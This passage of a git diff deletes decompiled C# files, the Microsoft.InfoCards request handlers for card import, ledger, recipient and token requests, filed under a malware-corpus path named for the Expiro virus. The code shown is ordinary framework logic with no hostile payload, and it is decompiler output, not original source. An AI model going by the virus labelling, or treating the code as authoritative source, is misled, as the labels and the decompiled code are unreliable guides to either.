override void OnProcess() - { - StoreConnection connection = StoreConnection.GetConnection(); - try - { - InfoCardTrace.Assert(!string.IsNullOrEmpty(this.m_filename), "No file name provided for import"); - InfoCardXmlSerializer cardXmlSerializer = new InfoCardXmlSerializer(connection); - cardXmlSerializer.CheckSignature = true; - cardXmlSerializer.Deserialize(this.m_filename); - this.m_card = cardXmlSerializer.Card; - this.m_card.IsImported = true; - this.m_card.InstalledOn = DateTime.Now; - X509Certificate2 issuer = cardXmlSerializer.Issuer; - if (issuer == null || this.m_card == null || !this.m_card.IsComplete()) - throw InfoCardTrace.ThrowHelperError((Exception) new ImportException(SR.GetString("InvalidImportFile"))); - Recipient.RecipientCertParameters recipientParams; - string recipientIdHash = Recipient.CertGetRecipientIdHash(issuer, cardXmlSerializer.AdditionalIssuerCerts, cardXmlSerializer.IsIssuerChainTrusted, out recipientParams); - string organizationIdHash = Recipient.CertGetRecipientOrganizationIdHash(issuer, cardXmlSerializer.AdditionalIssuerCerts, cardXmlSerializer.IsIssuerChainTrusted); - this.ParentRequest.CertCacheAdd(recipientIdHash, issuer); - this.m_issuer = new Recipient(issuer, recipientIdHash, organizationIdHash, true, this.m_card.PrivacyPolicyVersion, recipientParams); - this.m_card.IssuerName = !this.m_issuer.IsOrganizationVerified() ? this.m_issuer.RecipientParameters.m_cn : this.m_issuer.RecipientParameters.m_organization; - this.m_policyLink = this.m_card.PrivacyPolicyLink; - DataRow singleRow = connection.GetSingleRow(QueryDetails.FullRow, new List() - { - new QueryParameter("ix_objecttype", new object[1] - { - (object) 1 - }), - new QueryParameter("ix_globalid", new object[1] - { - (object) GlobalId.DeriveFrom(this.m_card.Id.ToString()) - }) - }.ToArray()); - if (singleRow == null) - return; - using (MemoryStream memoryStream = new MemoryStream(singleRow.GetDataField())) - { - InfoCard card = new InfoCard((Stream) memoryStream); - this.m_matchFlag = (int) card.Epoch != (int) this.m_card.Epoch ? (card.Epoch >= this.m_card.Epoch ? GetImportedCardRequest.ImportCardMatchStatus.MatchNewerVersion : GetImportedCardRequest.ImportCardMatchStatus.MatchOlderVersion) : GetImportedCardRequest.ImportCardMatchStatus.MatchSameVersion; - this.m_card.CopyMetaData(card); - } - } - finally - { - connection.Close(); - } - } - - protected override void OnMarshalOutArgs() - { - Stream outArgs = this.OutArgs; - if (this.m_card == null || this.m_issuer == null || !this.m_card.IsComplete()) - return; - StoreConnection connection = StoreConnection.GetConnection(); - try - { - this.m_card.AgentSerialize(outArgs, this.ParentRequest is GetTokenRequest, this.m_policy, connection, new CultureInfo(this.ParentRequest.UserLanguage)); - BinaryWriter writer = new BinaryWriter(outArgs, Encoding.Unicode); - this.m_issuer.Serialize(writer); - Utility.SerializeString(writer, this.m_policyLink); - writer.Write((byte) this.m_matchFlag); - } - finally - { - connection.Close(); - } - } - - public enum ImportCardMatchStatus : byte - { - MatchNone, - MatchSameVersion, - MatchNewerVersion, - MatchOlderVersion, - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/GetIsBrowserClientRequest.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/GetIsBrowserClientRequest.cs deleted file mode 100644 index 4acc9cd4..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/GetIsBrowserClientRequest.cs +++ /dev/null @@ -1,34 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.GetIsBrowserClientRequest -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using System; -using System.IO; -using System.Text; - -namespace Microsoft.InfoCards -{ - internal class GetIsBrowserClientRequest : UIAgentRequest - { - public GetIsBrowserClientRequest( - IntPtr rpcHandle, - Stream inArgs, - Stream outArgs, - ClientUIRequest parent) - : base(rpcHandle, inArgs, outArgs, parent) - { - } - - protected override void OnMarshalInArgs() - { - } - - protected override void OnProcess() - { - } - - protected override void OnMarshalOutArgs() => new BinaryWriter(this.OutArgs, Encoding.Unicode).Write(this.ParentRequest is GetBrowserTokenRequest); - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/GetKeyedHashRequest.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/GetKeyedHashRequest.cs deleted file mode 100644 index e1cd4aa0..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/GetKeyedHashRequest.cs +++ /dev/null @@ -1,46 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.GetKeyedHashRequest -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.Diagnostics; -using System.IO; -using System.Security.Principal; -using System.Text; - -namespace Microsoft.InfoCards -{ - internal class GetKeyedHashRequest : ClientRequest - { - private int m_cryptoSession; - private HashCryptoSession m_hashSession; - - public GetKeyedHashRequest( - Process callingProcess, - WindowsIdentity callingIdentity, - IntPtr rpcHandle, - Stream inArgs, - Stream outArgs) - : base(callingProcess, callingIdentity, rpcHandle, inArgs, outArgs) - { - } - - protected override void OnMarshalInArgs() - { - this.m_cryptoSession = new InfoCardBinaryReader(this.InArgs, Encoding.Unicode).ReadInt32(); - InfoCardTrace.ThrowInvalidArgumentConditional(0 == this.m_cryptoSession, "cryptoSession"); - } - - protected override void OnProcess() => this.m_hashSession = ((SymmetricCryptoSession) CryptoSession.Find(this.m_cryptoSession, this.CallerPid, this.RequestorIdentity.User)).GetKeyedHash(); - - protected override void OnMarshalOutArgs() - { - BinaryWriter bwriter = new BinaryWriter(this.OutArgs, Encoding.Unicode); - this.m_hashSession.Write(bwriter); - bwriter.Flush(); - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/GetLastErrorDetailsRequest.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/GetLastErrorDetailsRequest.cs deleted file mode 100644 index 8105000a..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/GetLastErrorDetailsRequest.cs +++ /dev/null @@ -1,53 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.GetLastErrorDetailsRequest -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using System; -using System.IO; -using System.Text; - -namespace Microsoft.InfoCards -{ - internal class GetLastErrorDetailsRequest : UIAgentRequest - { - public GetLastErrorDetailsRequest( - IntPtr rpcHandle, - Stream inArgs, - Stream outArgs, - ClientUIRequest parent) - : base(rpcHandle, inArgs, outArgs, parent) - { - } - - protected override void OnMarshalInArgs() - { - } - - protected override void OnProcess() - { - } - - protected override void OnMarshalOutArgs() - { - BinaryWriter binaryWriter = new BinaryWriter(this.OutArgs, Encoding.Unicode); - binaryWriter.Write(this.ParentRequest is GetBrowserTokenRequest); - int num = -1073413888; - Exception exception1 = this.ParentRequest.ProcessingException; - if (exception1 != null) - { - Exception exception2 = (Exception) null; - for (; exception1 is InfoCardBaseException; exception1 = exception1.InnerException) - { - exception2 = exception1; - if (exception1.InnerException == null) - break; - } - if (exception2 != null) - num = (exception2 as InfoCardBaseException).NativeHResult; - } - binaryWriter.Write(num); - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/GetLedgerEntryForRecipientRequest.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/GetLedgerEntryForRecipientRequest.cs deleted file mode 100644 index 27f77994..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/GetLedgerEntryForRecipientRequest.cs +++ /dev/null @@ -1,76 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.GetLedgerEntryForRecipientRequest -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.Collections.Generic; -using System.IO; -using System.Text; - -namespace Microsoft.InfoCards -{ - internal class GetLedgerEntryForRecipientRequest : UIAgentRequest - { - private Uri m_cardId; - private string m_recipientId; - private byte[] m_bytes; - - public GetLedgerEntryForRecipientRequest( - IntPtr rpcHandle, - Stream inArgs, - Stream outArgs, - ClientUIRequest parent) - : base(rpcHandle, inArgs, outArgs, parent) - { - } - - protected override void OnMarshalInArgs() - { - InfoCardTrace.Assert(this.InArgs.Length > 0L, "The user preferences must be specified"); - BinaryReader reader = (BinaryReader) new InfoCardBinaryReader(this.InArgs, Encoding.Unicode); - this.m_cardId = Utility.DeserializeUri(reader); - this.m_recipientId = Utility.DeserializeString(reader); - } - - protected override void OnProcess() - { - InfoCardTrace.Assert((Uri) null != this.m_cardId, "The card Id must not be null"); - InfoCardTrace.Assert(!string.IsNullOrEmpty(this.m_recipientId), "The thumbPrint must be specified"); - List queryParameterList = new List(); - queryParameterList.Add(new QueryParameter("ix_objecttype", new object[1] - { - (object) -1 - })); - queryParameterList.Add(new QueryParameter("ix_parentid", new object[1] - { - (object) GlobalId.DeriveFrom(this.m_cardId.ToString()) - })); - queryParameterList.Add(new QueryParameter("ix_name", new object[1] - { - (object) this.m_recipientId - })); - StoreConnection connection = StoreConnection.GetConnection(); - try - { - DataRow singleRow = connection.GetSingleRow(queryParameterList.ToArray()); - if (singleRow == null) - return; - this.m_bytes = singleRow.GetDataField(); - } - finally - { - connection.Close(); - } - } - - protected override void OnMarshalOutArgs() - { - if (this.m_bytes == null) - return; - this.OutArgs.Write(this.m_bytes, 0, this.m_bytes.Length); - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/GetLedgerRequest.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/GetLedgerRequest.cs deleted file mode 100644 index ee75fced..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/GetLedgerRequest.cs +++ /dev/null @@ -1,60 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.GetLedgerRequest -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.IO; -using System.Text; - -namespace Microsoft.InfoCards -{ - internal class GetLedgerRequest : UIAgentRequest - { - private Uri m_cardId; - private LedgerEntryCollection m_ledger; - - public GetLedgerRequest( - IntPtr rpcHandle, - Stream inArgs, - Stream outArgs, - ClientUIRequest parent) - : base(rpcHandle, inArgs, outArgs, parent) - { - InfoCardTrace.Assert(IntPtr.Zero != rpcHandle, "Null rpc handle"); - InfoCardTrace.Assert(null != inArgs, "Null inArgs"); - InfoCardTrace.Assert(null != outArgs, "Null out args"); - } - - protected override void OnInitializeAsSystem() => base.OnInitializeAsSystem(); - - protected override void OnMarshalInArgs() - { - InfoCardTrace.Assert(null != this.InArgs, "null request argument"); - this.m_cardId = Utility.DeserializeUri((BinaryReader) new InfoCardBinaryReader(this.InArgs, Encoding.Unicode)); - } - - protected override void OnProcess() - { - InfoCardTrace.Assert((Uri) null != this.m_cardId, "No CardId passed to GetLedgerRequest"); - StoreConnection connection = StoreConnection.GetConnection(); - try - { - this.m_ledger = new LedgerEntryCollection(this.m_cardId); - this.m_ledger.Get(connection); - } - finally - { - connection.Close(); - } - } - - protected override void OnMarshalOutArgs() - { - InfoCardTrace.Assert(null != this.m_ledger, "No ledger collection exists to be serialized"); - this.m_ledger.Serialize(this.OutArgs); - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/GetPolicyDetailsRequest.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/GetPolicyDetailsRequest.cs deleted file mode 100644 index d81023a8..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/GetPolicyDetailsRequest.cs +++ /dev/null @@ -1,106 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.GetPolicyDetailsRequest -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.Collections.Generic; -using System.IO; -using System.Text; - -namespace Microsoft.InfoCards -{ - internal class GetPolicyDetailsRequest : UIAgentRequest - { - private InfoCardPolicy m_policy; - private Recipient m_recipient; - private string m_privacyPolicyLink = string.Empty; - - public GetPolicyDetailsRequest( - IntPtr rpcHandle, - Stream inArgs, - Stream outArgs, - ClientUIRequest parent) - : base(rpcHandle, inArgs, outArgs, parent) - { - } - - protected override void OnInitializeAsSystem() - { - base.OnInitializeAsSystem(); - this.m_policy = this.GetPolicy(); - } - - protected override void OnMarshalInArgs() - { - } - - protected override void OnProcess() - { - InfoCardTrace.Assert(null != this.m_policy, "Null policy"); - StoreConnection connection = StoreConnection.GetConnection(); - try - { - DataRow singleRow = connection.GetSingleRow(new List() - { - new QueryParameter("ix_objecttype", new object[1] - { - (object) -3 - }), - new QueryParameter("ix_name", new object[1] - { - (object) this.m_policy.Recipient.GetIdentifier() - }) - }.ToArray()); - if (this.m_policy.Recipient is X509RecipientIdentity recipient) - this.ParentRequest.CertCacheAdd(this.m_policy.Recipient.GetIdentifier(), recipient.LeafCertificate); - if (singleRow != null) - { - this.m_recipient = new Recipient((Stream) new MemoryStream(singleRow.GetDataField()), this.m_policy.Recipient, true); - if (this.m_recipient.Trust == Recipient.TrustDecision.IsTrusted && (int) this.m_recipient.PrivacyPolicyVersion != (int) this.m_policy.PrivacyPolicyVersion) - this.m_recipient.Trust = Recipient.TrustDecision.PolicyVersionChange; - this.m_recipient.PrivacyPolicyVersion = this.m_policy.PrivacyPolicyVersion; - } - else - { - this.m_recipient = new Recipient(this.m_policy.Recipient, true, this.m_policy.PrivacyPolicyVersion); - this.m_recipient.Trust = Recipient.TrustDecision.NoTrustDecision; - } - this.m_privacyPolicyLink = this.m_policy.PrivacyPolicyLink; - } - finally - { - connection.Close(); - } - } - - protected override void OnMarshalOutArgs() - { - InfoCardTrace.Assert(null != this.m_policy, "Null policy"); - BinaryWriter writer = new BinaryWriter(this.OutArgs, Encoding.Unicode); - writer.Write(this.m_policy.RequiresManagedCard); - writer.Write(this.m_policy.RequiresSelfIssuedCard); - writer.Write(this.ParentRequest is GetBrowserTokenRequest); - this.m_recipient.Serialize(writer); - Utility.SerializeString(writer, this.m_privacyPolicyLink); - if (this.m_policy.RequiredClaims != null) - { - writer.Write(this.m_policy.RequiredClaims.Length); - for (int index = 0; index < this.m_policy.RequiredClaims.Length; ++index) - Utility.SerializeString(writer, this.m_policy.RequiredClaims[index]); - } - else - writer.Write(0); - if (this.m_policy.OptionalClaims != null) - { - writer.Write(this.m_policy.OptionalClaims.Length); - for (int index = 0; index < this.m_policy.OptionalClaims.Length; ++index) - Utility.SerializeString(writer, this.m_policy.OptionalClaims[index]); - } - else - writer.Write(0); - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/GetRecipientListRequest.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/GetRecipientListRequest.cs deleted file mode 100644 index 1b65ea41..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/GetRecipientListRequest.cs +++ /dev/null @@ -1,68 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.GetRecipientListRequest -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using System; -using System.Collections.Generic; -using System.IO; -using System.Text; - -namespace Microsoft.InfoCards -{ - internal class GetRecipientListRequest : UIAgentRequest - { - private IList m_recipientList; - - public GetRecipientListRequest( - IntPtr rpcHandle, - Stream inArgs, - Stream outArgs, - ClientUIRequest parent) - : base(rpcHandle, inArgs, outArgs, parent) - { - } - - protected override void OnMarshalInArgs() - { - } - - protected override void OnProcess() - { - StoreConnection connection = StoreConnection.GetConnection(); - try - { - IList dataRowList = (IList) connection.Query(QueryDetails.FullRow, new QueryParameter("ix_objecttype", new object[1] - { - (object) -3 - })); - if (dataRowList == null) - return; - IList recipientList = (IList) new List(dataRowList.Count); - foreach (DataRow dataRow in (IEnumerable) dataRowList) - recipientList.Add(new Recipient((Stream) new MemoryStream(dataRow.GetDataField()))); - this.m_recipientList = recipientList; - } - finally - { - connection.Close(); - } - } - - protected override void OnMarshalOutArgs() - { - BinaryWriter writer = new BinaryWriter(this.OutArgs, Encoding.Unicode); - uint num = 0; - if (this.m_recipientList != null) - { - uint count = (uint) this.m_recipientList.Count; - writer.Write(count); - foreach (Recipient recipient in (IEnumerable) this.m_recipientList) - recipient.Serialize(writer); - } - else - writer.Write(num); - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/GetRecipientRequest.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/GetRecipientRequest.cs deleted file mode 100644 index 8a334ef2..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/GetRecipientRequest.cs +++ /dev/null @@ -1,65 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.GetRecipientRequest -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.Collections.Generic; -using System.IO; -using System.Text; - -namespace Microsoft.InfoCards -{ - internal class GetRecipientRequest : UIAgentRequest - { - private string m_recipientId; - private Recipient m_recipient; - - public GetRecipientRequest( - IntPtr rpcHandle, - Stream inArgs, - Stream outArgs, - ClientUIRequest parent) - : base(rpcHandle, inArgs, outArgs, parent) - { - } - - protected override void OnMarshalInArgs() => this.m_recipientId = Utility.DeserializeString((BinaryReader) new InfoCardBinaryReader(this.InArgs, Encoding.Unicode)); - - protected override void OnProcess() - { - InfoCardTrace.Assert(null != this.m_recipientId, "null thumb print"); - StoreConnection connection = StoreConnection.GetConnection(); - try - { - DataRow singleRow = connection.GetSingleRow(new List() - { - new QueryParameter("ix_objecttype", new object[1] - { - (object) -3 - }), - new QueryParameter("ix_name", new object[1] - { - (object) this.m_recipientId - }) - }.ToArray()); - if (singleRow == null) - return; - this.m_recipient = new Recipient((Stream) new MemoryStream(singleRow.GetDataField())); - } - finally - { - connection.Close(); - } - } - - protected override void OnMarshalOutArgs() - { - BinaryWriter writer = new BinaryWriter(this.OutArgs, Encoding.Unicode); - InfoCardTrace.Assert(null != this.m_recipient, "null recipient"); - this.m_recipient.Serialize(writer); - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/GetTokenRequest.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/GetTokenRequest.cs deleted file mode 100644 index 6ea1a6a2..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/GetTokenRequest.cs +++ /dev/null @@ -1,258 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.GetTokenRequest -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.Diagnostics; -using System.IO; -using System.Net; -using System.Security.Cryptography; -using System.Security.Principal; -using System.ServiceModel.Description; -using System.Text; -using System.Threading; - -namespace Microsoft.InfoCards -{ - internal class GetTokenRequest : ClientUIRequest - { - private InfoCardPolicy[] m_policyChain; - private InfoCardPolicy m_policy; - private TokenDescriptor m_token; - private ITokenFactory m_tokenFactory; - private LedgerEntry m_ledgerEntry; - private InfoCard m_selectedCard; - private Recipient m_recipient; - private object m_createSecurityTokenDoneMonitor = new object(); - private bool m_isProcessingComplete = true; - private bool m_userProceededToCreateToken; - - public GetTokenRequest( - Process callingProcess, - WindowsIdentity callingIdentity, - InfoCardUIAgent uiAgent, - IntPtr rpcHandle, - Stream inArgs, - Stream outArgs) - : base(callingProcess, callingIdentity, uiAgent, rpcHandle, inArgs, outArgs, InfoCardUIAgent.CallMode.GetToken, ExceptionList.AllNonFatal) - { - } - - public TokenDescriptor Token => this.m_token; - - public InfoCardPolicy Policy - { - get => this.m_policy; - protected set => this.m_policy = value; - } - - protected Recipient GetRecipient() - { - if (this.m_recipient == null) - this.m_recipient = new Recipient(this.m_policy.Recipient, false, this.m_policy.PrivacyPolicyVersion); - return this.m_recipient; - } - - protected override void OnMarshalInArgs() - { - BinaryReader reader = (BinaryReader) new InfoCardBinaryReader(this.InArgs, Encoding.Unicode); - int length = reader.ReadInt32(); - this.m_policyChain = length > 0 && length <= 50 ? new InfoCardPolicy[length] : throw InfoCardTrace.ThrowHelperError((Exception) new InfoCardArgumentException(SR.GetString("InvalidPolicyLength"))); - for (int index = 0; index < length; ++index) - { - string recipientXml = Utility.DeserializeString(reader); - string issuerXml = Utility.DeserializeString(reader); - string policyXml = Utility.DeserializeString(reader); - string privacyUrl = Utility.DeserializeString(reader); - uint privacyVersion = reader.ReadUInt32(); - bool isManaged = reader.ReadBoolean(); - this.m_policyChain[index] = PolicyFactory.CreatePolicyForGetTokenRequest(reader, recipientXml, issuerXml, policyXml, isManaged); - if (index == 0) - this.m_policyChain[index].SetRecipientInfo(this.m_policyChain[0].ImmediateTokenRecipient, privacyUrl, privacyVersion); - else - this.m_policyChain[index].SetRecipientInfo(this.m_policyChain[0].ImmediateTokenRecipient, this.m_policyChain[0].PrivacyPolicyLink, this.m_policyChain[0].PrivacyPolicyVersion); - } - int index1 = length - 1; - if (this.m_policyChain[index1].IsManaged) - { - if (index1 == 0) - throw InfoCardTrace.ThrowHelperError((Exception) new InfoCardArgumentException(SR.GetString("InvalidPolicyLength"))); - --index1; - } - this.m_policy = this.m_policyChain[index1]; - this.m_policy.Validate(); - } - - protected override void OnProcess() => this.StartAndWaitForUIAgent(); - - protected override void OnMarshalOutArgs() - { - BinaryWriter bwriter = new BinaryWriter(this.OutArgs, Encoding.Unicode); - this.m_token.Write(bwriter); - SymmetricAlgorithm symmetricProof = this.m_token.SymmetricProof; - (symmetricProof != null ? CryptoSession.Create(this.CallerProcess, this.m_token.ExpirationTime, this.RequestorIdentity, symmetricProof.Key) : CryptoSession.Create(this.CallerProcess, this.m_token.ExpirationTime, this.RequestorIdentity, this.GetPrivateCryptography())).Write(bwriter); - } - - protected RSACryptoServiceProvider GetPrivateCryptography() => this.m_selectedCard.GetPrivateCryptography(this.GetRecipient().RecipientId); - - protected override void OnDisposeAsUser() - { - base.OnDisposeAsUser(); - if (this.m_token == null) - return; - this.m_token.Dispose(); - this.m_token = (TokenDescriptor) null; - } - - public void CancelSelectCard() - { - this.m_userProceededToCreateToken = false; - this.m_isProcessingComplete = true; - } - - public int SelectCard(InfoCard card, bool isSelfIssued) - { - lock (this.m_createSecurityTokenDoneMonitor) - { - while (this.m_userProceededToCreateToken && !this.m_isProcessingComplete) - Monitor.Wait(this.m_createSecurityTokenDoneMonitor); - this.m_userProceededToCreateToken = false; - this.m_isProcessingComplete = false; - int index1 = 0; - TokenCreationParameter parameter = (TokenCreationParameter) null; - ServiceEndpoint endPoint = (ServiceEndpoint) null; - IWebProxy proxy = (IWebProxy) null; - StoreConnection connection = StoreConnection.GetConnection(); - try - { - card.Connection = connection; - if (!isSelfIssued) - { - if (1 == card.CreationParameters.Count) - { - index1 = 0; - parameter = card.CreationParameters[index1]; - } - else - { - for (int index2 = 0; index2 < card.CreationParameters.Count; ++index2) - { - try - { - endPoint = RemoteTokenFactory.DoMexExchange(card.CreationParameters[index2], this.UserProxy); - index1 = index2; - parameter = card.CreationParameters[index1]; - break; - } - catch (TrustExchangeException ex) - { - if (index2 == card.CreationParameters.Count - 1) - throw InfoCardTrace.ThrowHelperError((Exception) new TrustExchangeException(SR.GetString("InvalidServiceUri"))); - } - } - } - proxy = this.UserProxy; - } - } - finally - { - connection.Close(); - } - this.m_tokenFactory = TokenFactoryFactory.Create(card, parameter, endPoint, proxy); - this.m_selectedCard = card; - return index1; - } - } - - public void CancelCreateSecurityToken() - { - if (this.m_tokenFactory != null) - this.m_tokenFactory.Abort(); - this.m_userProceededToCreateToken = true; - } - - public DisplayToken CreateSecurityToken( - TokenFactoryCredential credential, - bool discloseOptional) - { - lock (this.m_createSecurityTokenDoneMonitor) - { - try - { - this.m_ledgerEntry = this.GetLedgerEntry(); - if (this.m_token != null) - { - this.m_token.Dispose(); - this.m_token = (TokenDescriptor) null; - } - using (credential) - this.m_token = this.m_tokenFactory.CreateToken(this.m_selectedCard, credential, this.m_policy, discloseOptional); - this.m_ledgerEntry.DisclosureDate = DateTime.UtcNow; - this.m_ledgerEntry.DisclosedClaims = new string[this.m_token.DisclosedClaims.Count]; - for (int index = 0; index < this.m_token.DisclosedClaims.Count; ++index) - this.m_ledgerEntry.DisclosedClaims[index] = this.m_token.DisclosedClaims[index]; - Array.Clear((Array) this.m_selectedCard.Key, 0, 